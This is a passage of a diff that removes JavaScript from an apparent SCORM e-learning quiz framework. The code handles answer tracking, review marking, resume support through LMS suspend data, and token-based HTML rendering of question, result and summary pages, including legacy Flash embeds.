-	checkForCorrectResponse( tQuestion, currentQustionIndex-1 );
-}
-
-
-  
-function getFeedbackString(){
-		var tQuestion = iFinalQuestions[currentQustionIndex-1];
-	   	if(userSelected[currentQustionIndex-1] == iAnswersArray[currentQustionIndex-1]){
-			return tQuestion.correctFeedbackText;
-		}
-		else{
-			return tQuestion.incorrectFeedbackText;
-		}
-}
-
-
-
-function getUserSelectedArrayInSuspendData(){
-	var tString = getElementFromSuspendData("answersselected");
-	if(tString.indexOf("#") !=0 ){
-	var tArray = tString.split("#");
-	for(var l=0; l < tArray.length; l++){
-		var tIndex = tArray[l].indexOf(",");
-		var tQuestionNumber = tArray[l].substring(0,tIndex);
-		userSelected[tQuestionNumber] = tArray[l].substring((tIndex+1),tArray[l].length);
-	}
-	}
-	else{
-		userSelected[tString.substring(0,tString.indexOf(","))] = tString.substring(tString.indexOf(","),tString.length);
-	}
-	
-	 return userSelected;
-}
-
-function getQuestionId(){
-	var tSuspendDataValue = doLMSGetValue("cmi.suspend_data");
-	if(tSuspendDataValue.indexOf("QuestionId") != -1){
-		userattempts = getElementFromSuspendData("QuestionId");
-		if(!userattempts) userattempts = 0;
-		if(userattempts > displayQuestions - 1) userattempts = 0;
-		return parseInt(userattempts);
-	}
-	else{
-		return 0;
-	}
-}
-
-function getUserResponse(){
-	var userSelectedAnswer = new Array();
-	var tString = getElementFromSuspendData("answersselected");
-	var tArray = tString.split("#");
-	for(var l=0; l < tArray.length; l++){
-		var tIndex = tArray[l].indexOf(",");
-		var tQuestionNumber = tArray[l].substring(0,tIndex);
-		userSelectedAnswer[tQuestionNumber] = tArray[l].substring(tIndex,(tArray[l].length+1))+",";
-	}
-	 userAnswers = userSelectedAnswer;
-	 return userSelectedAnswer;
-}
-
-//updated by Sampad in order to handle single Question per Page with resume functionality.. to get back user response
-
-function checkCurentQuestionOnClick(pId){
-	addToSuspendData("lesson_status","attempted");	
-	var tUserString = "";
-	var tUserSelection = new Array();
-	if(isSingleQuestionPerPage)
-	{
-	var tQuestion = parent.quizheader.iFinalQuestions[pId];
-	}
-	else
-	{
-	var tQuestion = iFinalQuestions[pId];	
-	}
-	//alert("user Selected"+tQuestion);
-	checkForCorrectResponse( tQuestion, pId );
-	
-	tUserSelection[pId] = userSelected[pId];
-	for(i=0;i<tUserSelection.length;i++){
-		if(tUserSelection[i]){
-			tUserString = i+","+tUserSelection[i];
-		}
-	}
-	var tUserSuspendValue = getElementFromSuspendData("answersselected");
-	tUserSuspendValue = "#" + tUserSuspendValue;
-	
-	if(tUserString == ""){
-		var tIndex = tUserSuspendValue.indexOf("#"+pId+",");
-		tUserSuspendValue = tUserSuspendValue.substring(1,tUserSuspendValue.length);
-		if(tIndex !=-1){
-			var tUserArrayInSuspendData = getUserSelectedArrayInSuspendData();
-			tUserArrayInSuspendData[pId] = "";
-			for(var l=0;l<tUserArrayInSuspendData.length;l++){
-				tUserString = tUserString + l + "," + tUserArrayInSuspendData[l] + "#";
-			}
-			tUserString = tUserString.substring(0,(tUserString.length-1));
-		}
-	}
-	else{
-		if(doLMSGetValue("cmi.suspend_data").indexOf("answersselected") != -1 && tUserSuspendValue != "#"){
-			var tIndex = tUserString.indexOf(",");
-			var toCheck = "#" + tUserString.substring(0,(tIndex+1));
-			var tUserAttemptedIndex = tUserSuspendValue.indexOf(toCheck);
-			tUserSuspendValue = tUserSuspendValue.substring(1,tUserSuspendValue.length);
-			if(tUserAttemptedIndex == -1){
-				tUserString = tUserSuspendValue + "#" + tUserString;
-			}
-			else{
-				var tUserArrayInSuspendData = getUserSelectedArrayInSuspendData();
-				tUserArrayInSuspendData[tUserString.substring(0,tIndex)] = tUserString.substring((tIndex+1),tUserString.length);
-				tUserString = "";
-				for(var l=0;l<tUserArrayInSuspendData.length;l++){
-				
-					tUserString = tUserString + l + "," + tUserArrayInSuspendData[l] + "#";
-				}
-				tUserString = tUserString.substring(0,(tUserString.length-1));
-			}
-		}
-	}
-	addToSuspendData("answersselected",tUserString);
-	
-}
-
-
-function userAttemptedValues(pQid,pArray,pQindex){
-	var temp;
-	var userselectedvalues=pArray[pQid-1];
-	if(userselectedvalues){
-		temp=','+(pQindex)+',';
-		if(userselectedvalues.indexOf(temp) >= 0){
-		       	return "true";
-		}
-		else
-			return "false";
-	}
-}
-
-
-
-  
-function markQuestion(pQuestionIndex,pReviewChecked){
-	var marked = "";
-	if(doLMSGetValue("cmi.suspend_data").indexOf("questionIndex") != -1){
-		if(pReviewChecked=="true"){
-			reviewQuestionNumber[reviewQuestionNumber.length]	=	pQuestionIndex;
-			reviewQuestionCache[pQuestionIndex]			=	1;
-			marked  =	getElementFromSuspendData("questionIndex") + ","+pQuestionIndex;
-		}
-		else{
-			reviewQuestionCache[pQuestionIndex]			=	null;
-			removeIndex(pQuestionIndex);
-			marked  =	getElementFromSuspendData("questionIndex");
-		}
-	}
-	else{
-		reviewQuestionNumber[reviewQuestionNumber.length]	=	pQuestionIndex;
-		marked = ","+pQuestionIndex;
-	}
-	addToSuspendData("questionIndex" , marked);
-	doLMSCommit();
-}
-
-function getIndicesOfQuestionsMarkedForReview(){
-	//reviewQuestionNumber = reviewQuestionNumber.sort();
-	return reviewQuestionNumber;
-}
-
-
-function selectQuestion(pIndex){
-        currentQustionIndex	=	parseInt(pIndex);
-	reviewQuestionCache[pIndex]	=	null;
-	removeIndex(pIndex);
-}
-
-function removeIndex(pIndex){
-	var counter	=	0;
-	var length	=	reviewQuestionNumber.length;
-	var index	=	0;
-	while(counter < length){
-		index	=	reviewQuestionNumber[counter];
-		if(index == pIndex){
-			reviewQuestionNumber[counter] = null;
-			var marked = getElementFromSuspendData("questionIndex");
-			marked = marked.substring(1,marked.length);
-			
-			addToSuspendData("questionIndex" , "");
-         	        var indices	=	marked.split(',');
-        		indices[counter] = null;
-			var tempMarked = "";
-			for(var i=0;i<indices.length;i++){
-				tempMarked = tempMarked + indices[i] + ",";
-			}
-			
-			if(tempMarked != "")
-				tempMarked = tempMarked.substring(0,(tempMarked.length-1));
-				
-			tempMarked = "," + tempMarked;
-			
-			addToSuspendData("questionIndex" , tempMarked);
-			doLMSCommit();
-		}
-		counter++;
-	}
-}
-
-function getUserSelected(){
- return  userAnswers;
-}
-
-
-
-
-function hasPreviousQuestion(){
-	if (currentQustionIndex > 0) return true;
-	else return false;
-}
-
-
-
-function decrementCursor(){
-	if (currentQustionIndex > 0) currentQustionIndex--;	
-	if (currentQustionIndex > 0) currentQustionIndex--;	
-}
-
-
-
-
-
-
-
-
-
-
-
-
-
-//Start Change of Model by Manu/Monalika/Sampad/Arijit
-
-//Base token to declare in the assessment page
-
-
-
-
-var QUESTIONS_TOKEN = "@@QUESTIONS@@";
-
-//Question numbers after randomization
-
-
-var QUESTION_ID_TOKEN = "@@QUESTION_ID@@";
-
-//Question Stem text
-
-
-
-var QUESTION_TEXT_TOKEN = "@@QUESTION_TEXT@@";
-//Image text
-
-
-
-var IMAGE_TEXT_TOKEN = "@@IMAGE_TEXT@@";
-
-
-//Instruction text
-
-var QUESTION_ITEXT_TOKEN= "@@QUESTION_ITEXT@@";
-
-//Question display number
-
-
-var QUESTION_NUMBER     = "@@QUESTION_NUMBER@@";
-
-//Choices or distracters for the question
-
-
-
-var CHOICE_TOKEN        = "@@CHOICE@@";
-
-
-// Feedback 
-
-var FEEDBACK_TOKEN      = "@@FEEDBACK@@";
-
-//Summary 
-var SUMMARY_TOKEN 		=  "@@SUMMARY@@";
-
-//Correct Summary
-
-var CORRECT_SUMMARY_TOKEN = "@@CORRECT_SUMMARY@@";
-//Incorrect Summary
-
-var INCORRECT_SUMMARY_TOKEN= "@@INCORRECT_SUMMARY@@";
-//Not Attempted Summary
-
-
-
-var NOT_ATTEMPTED_SUMMARY_TOKEN = "@@NOT_ATTEMPTED_SUMMARY@@";
-//Instruction text for each question
-
-var INSTRUCTION_TEXT_TOKEN="@@INSTRUCTION_TEXT@@";
-//Correct number of answer given by the user in percent or number
-
-
-var SCORE_TOKEN="@@SCORE@@";
-//Total number of question displayed
-
-
-var TOTAL_QUESTION_TOKEN="@@TOTAL_QUESTION@@";
-//Correct Instant feedback - Only used for single question per page type
-
-
-var CORRECT_INSTANT_FEEDBACK_TEXT_TOKEN="@@CORRECT_INSTANT_FEEDBACK_TEXT@@";
-//Incorrect Instant feedback - Only used for single question per page type
-
-
-var INCORRECT_INSTANT_FEEDBACK_TEXT_TOKEN="@@INCORRECT_INSTANT_FEEDBACK_TEXT@@";
-
-
-//Renderers
-
-//Default Renderers for Question Page
-var _defaultQuestionRenderer = new QuestionRenderer();
-
-//Choice Renderer for Question Page
-var _defaultChoiceRenderer = new ChoiceRenderer();
-
-//Default Renderers for Result Page
-var _defaultResultRenderer = new ResultRenderer();
-
-//Choice Renderer for Result Page - Choices
-var _defaultResultChoiceRenderer = new ResultChoiceRenderer();
-
-//Default Renderers for Result Summary
-var _defaultSummaryCorrectRenderer = new SummaryCorrectRenderer();
-var _defaultSummaryInCorrectRenderer = new SummaryInCorrectRenderer();
-var _defaultSummaryNotAttemptedRenderer = new SummaryNotAttemptedRenderer();
-
-//Default Renderers for Result - Scores
-var _defaultScoreRenderer=new ScoreRenderer();
-
-//Default Renderers for Result - Instruction text
-var _defaultInstructionTextRenderer = new InstructionTextRenderer();
-
-//Default Renderers forInstant Feedback in single question per page type assessments
-var _defaultInstantCorrectFeedbackRenderer=new InstantCorrectFeedbackRenderer();
-var _defaultInstantInCorrectFeedbackRenderer=new InstantInCorrectFeedbackRenderer();
-
-
-
-
-
-
-
-//Defining the html strings which will be replaced by default while rendering
-//All the methods below can be overriden in the pageLayout file to customize the assessment look and feel
-
-
-//Setting HTML Code block for Question Page
-
-_defaultQuestionRenderer.setHtmlCode('<tr><td bgcolor="yellow" width=575> <a name="qs@@QUESTION_ID@@">&nbsp;</a></td> </tr>'+
-
-		'<tr>\n <td> \n'+		
-
-		'<table cellpadding=0 cellspacing=0 border=0><tr><td valign=top align="left" width=25>'+
-
-		'<span name="@@QUESTION_ID@@question"  class="qtext1"> \n'+
-
-		'@@QUESTION_NUMBER@@. &nbsp;&nbsp;</td><td valign=top align=left class="qtextGreen" width=575  colspan=3>'+ 
-
-		'@@QUESTION_TEXT@@</td></tr><tr><td colspan=4>@@IMAGE_TEXT@@<br><br></td> </tr>'+
-
-		'<tr><td colspan=4>@@QUESTION_ITEXT@@</span> \n@@CHOICE@@</td></tr></table></td></tr>');	    
-
-
-//Setting HTML Code block for instruction text
-
-
-_defaultInstructionTextRenderer.setHtmlCode('<span class="blue">Please select&nbsp;&nbsp;<b>@@INSTRUCTION_TEXT@@</b>.</span><br><br></td></tr>\n');
-
-
-//Setting HTML Code block for Score display
-
-
-_defaultScoreRenderer.setHtmlCode("<tr><td class='blue'>You had <strong> @@SCORE@@ %</strong> out of @@TOTAL_QUESTION@@ Questions Correct.</td></tr>");
-
-
-//Setting HTML Code block for Correct Summary
-
-
-_defaultSummaryCorrectRenderer.setHtmlCode('<tr><td class="qtext">Question @@CORRECT_SUMMARY@@ -- Correct</td></tr>');
-
-
-//Setting HTML Code block for Incorrect Summary
-
-
-_defaultSummaryInCorrectRenderer.setHtmlCode('<tr><td class="qtext"> Question@@INCORRECT_SUMMARY@@ -- Incorrect</td></tr>');
-
-
-//Setting HTML Code block for Summary Not Attempted answer
-
-
-_defaultSummaryNotAttemptedRenderer.setHtmlCode('<tr><td class="qtext">Question @@NOT_ATTEMPTED_SUMMARY@@ -- Not Attempted</td></tr>');
-
-
-//Setting HTML Code block for Result Page
-
-
-_defaultResultRenderer.setHtmlCode('<tr><td bgcolor="yellow"> <a name="qs@@QUESTION_ID@@">&nbsp;</a></td> </tr>'+
-
-		'<tr>\n <td> \n'+		
-
-		'<table cellpadding=0 cellspacing=0 border=0><tr><td valign=top align="left" width=25>'+
-
-		'<span name="@@QUESTION_ID@@question"  class="qtext1"> \n'+
-
-		'@@QUESTION_NUMBER@@. &nbsp;&nbsp;</td><td valign=top align=left class="qtextGreen" width=575  colspan=3>'+ 
-
-		'@@QUESTION_TEXT@@</td></tr><tr><td colspan=4>@@IMAGE_TEXT@@<br><br></td> </tr>'+
-
-		'<tr><td colspan=4>@@QUESTION_ITEXT@@</span> \n@@CHOICE@@</td></tr><tr><td valign=top align=left class="qtext1" colspan=4>@@FEEDBACK@@</span></td></tr></table></td></tr>');	
-
-
-
-//Setting HTML Code block for instant Correct Feedback
-
-
-_defaultInstantCorrectFeedbackRenderer.setHtmlCode('<tr><td class="green">@@CORRECT_INSTANT_FEEDBACK_TEXT@@</td></tr>');
-
-
-//Setting HTML Code block for instant Incorrect Feedback
-
-
-_defaultInstantInCorrectFeedbackRenderer.setHtmlCode('<tr><td class="red">@@INCORRECT_INSTANT_FEEDBACK_TEXT@@</td></tr>');
-
-
-//The above methods can be overridden in the pageLayout file
-
- 
-
-// Methods for Question Page
-
-function _getRenderer(){
-
-	return this.guestionRenderer ;
-
-}
-
-
-function _getChoiceRenderer(){
-
-	return this.choiceRenderer;
-
-}
-
-//main rendering function to be called from the Assessment Page (Multi Question / Page)
-
-
-
-function AssessmentPageRenderer(pDocument){
-
-			iContentPage =pDocument;// inorder to set the content page reference.
-
-			this.htmlDocument 		= pDocument;
-
-			this.defaultQuestionRenderer 	= _defaultQuestionRenderer;
-		
-			this.render		     	= _render;	
-		
-			this.htmlCode                   = null;
-		
-			this.setHtmlCode                = _setHtmlCode;	
-
-	
-}
-
-
-function _setHtmlCode(pCodeString){
-	
-	this.htmlCode                   = pCodeString;
-
-}
-
-//render() called from Assessment page
-
-
-
-
-function _render(){
-
-	//debugger;
-
-	if(!this.htmlDocument)	{
-
-		alert("please set the html document reference!");
-
-		return;	
-
-	}
-
-	var questionString              = "";
-
-	var length                      = iFinalQuestions.length;
-
-	var index                       = 0;
-
-	var question                    = "null";
-
-	while(index < length){
-
-		question                = iFinalQuestions[index];
-		//alert("question== "+ (question.getRenderer()));
-		
-		if(question.getRenderer())
-
-			questionString  += question.getRenderer().render(question , index);
-
-		else
-
-			questionString  += this.defaultQuestionRenderer.render(question , index);
-
-		index++;
-
-	}
-
-	this.htmlDocument.write(replaceToken(QUESTIONS_TOKEN,this.htmlCode , questionString));	
-
-	this.htmlDocument.close();
-
-}
-
-
-// Question Renderer
-function QuestionRenderer(){
-
-	this.htmlCode = null;
-
-	this.setHtmlCode = _setQuestionHtmlCode;
-	this.InstructionTextRenderer=_defaultInstructionTextRenderer;
-	this.render      = _renderQuestion;
-
-	this.choiceRenderer = _defaultChoiceRenderer;
-
-	this.setChoiceRenderer = _setChoiceRenderer;
-
-	this.getChoiceRenderer = _getChoiceRenderer;
-	
-}
-
-
-//Replacing Tokens in Assessment page with Respective Code blocks
-
-function _renderQuestion(pQuestion , pIndex){
-
-	//debugger;
-
-	var imageString = "";  //added to display images/swf
-    
-    if(pQuestion.image){
-      if(pQuestion.image.substring(pQuestion.image.lastIndexOf(".")+1) == 'swf')  {
-var imageString = '<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\"';
- imageString += 'codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/';
-imageString += 'swflash.cab#version=6,0,29,0\" width=\"'+flashWidth+'\"'; 
-imageString += 'height=\"'+flashHeight+'\"><param name=\"movie\"'; 
-imageString += 'value=\"'+pQuestion.image+'\"><param name=\"quality\"'; 
-imageString += 'value=\"high\">';
-imageString += '<embed src=\"'+pQuestion.image+'\" quality=\"high\"'; 
-imageString += 'pluginspage=\"http://www.macromedia.com/go/getflashplayer\"'; 
-imageString += 'type=\"application/x-shockwave-flash\" width=\"'+flashWidth+'\"'; imageString += 'height=\"'+flashHeight+'\"></embed></object>';
-					
-			}
-			else {
-var imageString = '<img border=\"0\" src=\"' + pQuestion.image + '\"'; 
-imageString += 'usemap=\"#HeaderMap\" alt=\"\">';
-                
-			}
-    }
-	
-	
-	var questionString = "";
-
-	questionString = replaceToken(QUESTION_ID_TOKEN , this.htmlCode , pQuestion.getId());
-
-	questionString = replaceToken(QUESTION_TEXT_TOKEN , questionString , pQuestion.text);
-	
-	questionString = replaceToken(IMAGE_TEXT_TOKEN , questionString , imageString);
-
-	var iText = "";
-	var instructionrenderer=pQuestion.InstructionTextRenderer;
-
-	if(!pQuestion.getInstructionText()){
-	
-	iText= instructionrenderer.render(pQuestion.type);
-
-	}else {
-
-		iText= pQuestion.getInstructionText();
-
-	}
-
-	questionString = replaceToken(QUESTION_ITEXT_TOKEN , questionString , iText);
-
-	questionString = replaceToken(QUESTION_NUMBER , questionString , pIndex+1);
-
-	
-
-	var choiceRenderer = pQuestion.getChoiceRenderer();
-
-	if(!choiceRenderer) 
-
-		choiceRenderer = this.choiceRenderer;
-	
-//Calls the render() of QuestionRenderer for generating Choices to replace @@CHOICE@@ token
-	questionString = replaceToken(CHOICE_TOKEN , questionString , choiceRenderer.render(pQuestion.answers , pQuestion , pIndex));
-
-	return questionString;
-
-}
-
-
-
-function _setQuestionHtmlCode(pCode){
-
-	this.htmlCode = pCode;
-
-}
-
-
-
-
-// Choice Renderer
-
-function _setChoiceRenderer(pRenderer){
-
-	this.choiceRenderer = pRenderer;
-
-}
-
-
-
-function _getChoiceRenderer(){
-
-	return this.choiceRenderer;
-
-}
-
-
-
-function ChoiceRenderer(){
-
-	this.htmlCode = null;
-
-	this.setHtmlCode = _setChoiceHtmlCode;
-
-	this.render      = _renderChoice;
-	
-	
-
-}
-
-function _setChoiceHtmlCode(pCode){
-
-	this.htmlCode = pCode;
-
-}
-
-// render() for Choices in Question page
-function _renderChoice(pAnswersArray , pQuestion , pIndex){
-        
-	var completeChoiceString = "";
-	var tAnswers = pQuestion.answers;
-	var choice       = null;
-
-	var numberOfChoices = pAnswersArray.length;
-	var correctAnsString = "";
-	var index        = 0;
-	var tArray=null;
-
-	var questionLetter = 1;
-
-	if(doLMSGetValue("cmi.suspend_data").indexOf("lesson_status") != -1){
-		tArray = getUserResponse();
-		
-	}
-		//addition
-    for( j=0; j < tAnswers.length; j++ ){
-			if( tAnswers[j].correct == true ){
-				if( correctAnsString.length > 0 ){
-					correctAnsString += "," + (j+1) 
-				}
-				else{
-					correctAnsString += (j+1);			
-				}
-			}
-			}
-			iAnswersArray[ pIndex ] = correctAnsString;
-		
-		//end for
-		
-		
-	while(index < numberOfChoices){		
-
-		choice   = pAnswersArray[index];
-		
-		if(tArray)
-		var userclick=userAttemptedValues((pIndex + 1),tArray,questionLetter);
-
-		completeChoiceString += '<tr><td width=15 align=left>&nbsp;</td><td valign=top width=15 align=left><span class="choice" name="' + pQuestion.id +'choice' + (index+1) + '">\n';
-
-		
-		if( pQuestion.type == 'multiple' )
-			{
-			if(userclick=="true" && resumeAssessment){
-			completeChoiceString += '<input name="qs' + pQuestion.id + 'choiceBtn" value="' + (index+1) + '" type="checkbox" checked onClick="checkCurentQuestionOnClick(\'' + pQuestion.index + '\')" >\n';
-			}
-			else
-			{
-				completeChoiceString += '<input name="qs' + pQuestion.id + 'choiceBtn" value="' + (index+1) + '" type="checkbox" onClick="checkCurentQuestionOnClick(\'' + pQuestion.index + '\')" >\n';
-		}
-		}
-
-		else if( pQuestion.type == 'single' ){
-		
-		if(userclick=="true" && resumeAssessment){
-		completeChoiceString += '<input name="qs'+ pQuestion.id + 'RadioInp" type="radio" checked  onClick="checkCurentQuestionOnClick(\'' + pQuestion.index + '\')">\n';
-		
-		}
-		else
-		{
-					
-		completeChoiceString += '<input name="qs'+ pQuestion.id + 'RadioInp" type="radio" onClick="checkCurentQuestionOnClick(\'' + pQuestion.index + '\')">\n';
-		}
-		}
-
-
-
-		questionLetters = String.fromCharCode( questionLetter + 64 );
-
-
-
-		completeChoiceString += '</input></span></td><td valign=top class="qtext" align="left" width=15>' + questionLetters + '.&nbsp;&nbsp;</td><td valign=top align=left class="qtext" width=555>';
-
-		completeChoiceString += choice.text;
-
-		completeChoiceString += '<br><br></td></tr>\n';
-
-		questionLetter++;
-
-		index++;
-
-	}
-
-	return completeChoiceString;
-
-}
-
-function InstructionTextRenderer()
-{
-this.htmlCode=null;
-this.setHtmlCode=_setInstructionHtmlCode;
-this.render= _renderInstructionText;
-}
-
-function _setInstructionHtmlCode(pCode)
-{
-	this.htmlCode=pCode;
-
-}
-
-function _renderInstructionText(pType)
-{
-	var instructionText="";
-	if(pType=='multiple')
-	{
-	instructionText+='all the correct answers.'
-	}
-	else
-	{
-		instructionText+='the best answer.'
-	}
-	
-	var tempstring=replaceToken(INSTRUCTION_TEXT_TOKEN,this.htmlCode,instructionText);
-	return tempstring;
-}
-
-
-// Result Page
-
-
-
-function _setResultChoiceRenderer(pRenderer){
-
-	this.resultChoiceRenderer = pRenderer;
-
-}
-
-
-
-function _getResultChoiceRenderer(){
-
-	return this.resultChoiceRenderer;
-
-}
-
-
-
-function _setResultHtmlCode(pCode){
-
-	this.htmlCode = pCode;
-
-}
-
-
-
-// Results Choice Renderer
-
-
-
-function ResultChoiceRenderer(){
-
-	this.htmlCode = null;
-
-	this.setHtmlCode = _setResultChoiceHtmlCode;
-
-	this.render      = _renderResultChoice;
-	
-}
-
-
-
-function _setResultChoiceHtmlCode(pCode){
-
-	this.htmlCode = pCode;
-
-}
-
-
-
-function _renderResultChoice(pAnswersArray , pQuestion , pIndex){
-
-	var completeChoiceString = "";
-
-	var choice       = null;
-
-	var numberOfChoices = pAnswersArray.length;
-
-	var index        = 0;
-
-	var questionLetter = 1;
-	var tAnswers = pAnswersArray;
-	var correctAnsString = "";
-
-	while(index < numberOfChoices){	
-
-			choice   = pAnswersArray[index];
-
-		if( tAnswers[index].correct == true ){
-			if( correctAnsString.length > 0 ){
-				correctAnsString += "," + (index+1);
-			}
-			else{
-				correctAnsString += (index+1);
-			}
-		}
-
-		completeChoiceString += '<tr><td width=15>&nbsp;</td><td valign=top align=left width=15><span class="choice" name="' + pQuestion.id +'choice' + (index+1)  + '">\n';
-		if( pQuestion.type == 'multiple' ){
-			completeChoiceString += '<input disabled name="' + pQuestion.id + 'choiceBtn" value="' + (j+1) + '" type="checkbox" ' +checkIfSelected(userSelected[pIndex],index+1) + ' >\n';
-		}
-		else if( pQuestion.type == 'single' ){
-			completeChoiceString += '<input disabled name="'+ pQuestion.id + 'RadioInp" type="radio" ' + checkIfSelected(userSelected[pIndex],index+1) + ' >\n';
-		}
-		
-		questionLetters = String.fromCharCode( questionLetter + 64 );
-		
-		completeChoiceString += '</input></td><td valign=top width=15 align=left class="qtext">' + questionLetters + '.&nbsp;&nbsp;</td><td valign=top class="qtext" align=left width=555>';
-		completeChoiceString += tAnswers[index].text;
-		completeChoiceString += '<br><br></td></tr>\n';
-		questionLetter++;	
-		index++;
-	}
-	
-	return completeChoiceString;
-
-}
-
-
-//Results Renderer
-
-
-function ResultRenderer(){
-
-	this.htmlCode = null;
-
-	this.setHtmlCode = _setResultHtmlCode;
-
-	this.render      = _renderResult;
-
-	this.choiceRenderer = _defaultResultChoiceRenderer;
-
-	this.setChoiceRenderer = _setResultChoiceRenderer;
-
-	this.getChoiceRenderer = _getResultChoiceRenderer;
-
-}
-
-
-function _getResultRenderer(){
-
-	return this.resultRenderer;
-
-}		
-
-
-function ResultsPageRenderer(pDocument){
-	
-	iContentPage =pDocument;
-	
-	this.htmlDocument 		= pDocument;
-
-	this.defaultResultRenderer 	= _defaultResultRenderer;
-
-	this.render		     	= _resRender;	
-
-	this.htmlCode           = null;
-
-	this.setHtmlCode        = _setHtmlCode;	
-
-}
-
-//resRnder() function called from Result page
-
-
-function _resRender(){
-
-	//debugger;
-
-
-	userSelected = iHeaderFrame.iUserAnswers;
-
-	if(!this.htmlDocument)	{
-
-		alert("please set the html document reference!");
-
-		return;	
-
-	}
-
-	var resultString              = "";
-
-	var length                      = iFinalQuestions.length;
-
-	var index                       = 0;
-
-	var question                    = "null";
-
-
-
-		resultString += '<form name="qz">';
-			while(index < length){
-		
-				question                = iFinalQuestions[index];
-				//alert("question== "+ (question.getRenderer()));
-		
-				if(question.getResultRenderer())
-		
-					resultString  += question.getResultRenderer().render(question , index);
-		
-				else
-		
-					resultString  += this.defaultResultRenderer.render(question , index);
-		
-				index++;
-
-	}
-		resultString += '</form>';
-
-		this.htmlDocument.write(replaceToken(QUESTIONS_TOKEN,this.htmlCode , resultString));	
-
-		this.htmlDocument.close();
-
-}
-		
-//Replacing Tokens in Result page with Respective Code blocks
-function _renderResult(pQuestion , pIndex){
-
-	//debugger;
-	
-		 var imageString = "";
-    
-    if(pQuestion.image){
-     if(pQuestion.image.substring(pQuestion.image.lastIndexOf(".")+1) == 'swf')  {
-var imageString = '<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\"';
- imageString += 'codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/';
-imageString += 'swflash.cab#version=6,0,29,0\" width=\"'+flashWidth+'\"'; 
-imageString += 'height=\"'+flashHeight+'\"><param name=\"movie\"'; 
-imageString += 'value=\"'+pQuestion.image+'\"><param name=\"quality\"'; 
-imageString += 'value=\"high\">';
-imageString += '<embed src=\"'+pQuestion.image+'\" quality=\"high\"'; 
-imageString += 'pluginspage=\"http://www.macromedia.com/go/getflashplayer\"'; 
-imageString += 'type=\"application/x-shockwave-flash\" width=\"'+flashWidth+'\"'; imageString += 'height=\"'+flashHeight+'\"></embed></object>';
-					
-			}
-			else {
-var imageString = '<img border=\"0\" src=\"' + pQuestion.image + '\"'; 
-imageString += 'usemap=\"#HeaderMap\" alt=\"\">';
-                
-			}
-    }
-	
-	
-	
-	var resultString = "";
-
-	resultString = replaceToken(QUESTION_ID_TOKEN , this.htmlCode , pQuestion.getId());
-
-	resultString = replaceToken(QUESTION_TEXT_TOKEN , resultString , pQuestion.text);
-	resultString = replaceToken(IMAGE_TEXT_TOKEN , resultString , imageString);
-
-	var iText = "";
-	var instructionrenderer=pQuestion.InstructionTextRenderer;
-	if(!pQuestion.getInstructionText()){
-
-		iText= instructionrenderer.render(pQuestion.type);
-
-	}else {
-
-		iText= pQuestion.getInstructionText();
-
-	}
-	var tFeedback;
-	if( pQuestion.userResponse ){
-		tFeedback = pQuestion.correctFeedbackText;
-	}
-	else{
-		tFeedback = pQuestion.incorrectFeedbackText;	
-	} 
-	if( tFeedback == "" ){
-		tFeedback = correctAnswerString(correctAnsString);
-	}
-	
-	resultString = replaceToken(QUESTION_ITEXT_TOKEN , resultString , iText);
-
-	resultString = replaceToken(QUESTION_NUMBER , resultString , pIndex+1);
-	
-
-
-	var resultChoiceRenderer = pQuestion.getResultChoiceRenderer();
-
-	
-	if(!resultChoiceRenderer) 
-
-		resultChoiceRenderer = this.resultChoiceRenderer;
-	
-//Calls the render() of Results Renderer for the generating disabled Choices to replace @@CHOICE@@ token
-		resultString = replaceToken(CHOICE_TOKEN , resultString , resultChoiceRenderer.render(pQuestion.answers , pQuestion , pIndex));
-		resultString = replaceToken(FEEDBACK_TOKEN , resultString , tFeedback);
-	return resultString;
-
-}
-
-
-//Summary Renderer
-
-//Summary Renderer called from Result Summary page
-
-
-
-function SummaryPageRenderer(pDocument)
-{
-
-this.htmlDocument=pDocument;
-this.defaultSummaryCorrectRenderer 	= _defaultSummaryCorrectRenderer;
-this.defaultSummaryInCorrectRenderer 	= _defaultSummaryInCorrectRenderer;
-this.defaultSummaryNotAttemptedRenderer= _defaultSummaryNotAttemptedRenderer;
-this.defaultScoreRenderer= _defaultScoreRenderer;
-this.render = _summaryRender;
-this.htmlCode=	null;
-this.setHtmlCode= _setSummaryHtmlCode;
-
-}
-
-
-
-
-function  _setSummaryHtmlCode(pCodeString)
-{
-this.htmlCode=pCodeString;
-}
-
-
-
-
-function _summaryRender()
-{
-
-	if(!this.htmlDocument)	
-	{
-	alert("please set the html document reference!");
-	return;
-	}	
-	
-	iFinalQuestions 		= iHeaderFrame.iFinalQuestions;
-
-	userSelected 			= iHeaderFrame.iUserAnswers;
-
-	var length                      = iFinalQuestions.length;
-
-	var index                       = 0;
-
-	score				= iHeaderFrame.score;
-	
-	question			= null;
-	
-	var tString 			= '';	
-	
-	if( showPercentage ){
-		score = (score/displayQuestions) * 100;
-		score = Math.round(score);
-		tString= this.defaultScoreRenderer.render(score,displayQuestions);	
-		}
-	else{
-		tString= this.defaultScoreRenderer.render(score,displayQuestions);
-		}
-	initializeVariables();
-
-	var summaryString              = tString;
-
-	while(index < displayQuestions)
-		{
-		question                = iFinalQuestions[index];
-
-			if(question)
-			{	
-			
-		if(question.userResponse){
-
-			summaryString  += this.defaultSummaryCorrectRenderer.render(index+1 , userSelected[index]);
-		}
-
-		else
-		{ 
-		if(userSelected[index])
-		{
-			
-			summaryString  += this.defaultSummaryInCorrectRenderer.render(index+1 , userSelected[index]);
-		}	
-		else
-		{
-			summaryString  += this.defaultSummaryNotAttemptedRenderer.render(index+1 , userSelected[index]);
-		}
-		}
-		}
-
-		index++;
-
-	}
-
-	this.htmlDocument.write(replaceToken(SUMMARY_TOKEN,this.htmlCode , summaryString));	
-
-	this.htmlDocument.close();
-	}
-	
-
-
-// CorrectSummary Renderer
-function SummaryCorrectRenderer()
-	{
-	this.htmlCode = null;
-
-	this.setHtmlCode = _setSummaryCorrectHtmlCode;
-
-	this.render      = _renderSummaryCorrect;
-	}
-	
-
-
-function _setSummaryCorrectHtmlCode(pCode)
-	{
-		this.htmlCode=pCode;
-		
-	}
-	
-
-
-function _renderSummaryCorrect(index,pString)
-	{
-	
-		var SummaryCorrectString = index.toString();
-		SummaryCorrectString+= " ";
-		SummaryCorrectString += insertCommas(pString);
-		var tempString= replaceToken(CORRECT_SUMMARY_TOKEN, this.htmlCode, SummaryCorrectString);
-	return tempString;
-		
-	}
-
-
-//SummaryIncorrect
-function SummaryInCorrectRenderer()
-	{
-	this.htmlCode = null;
-
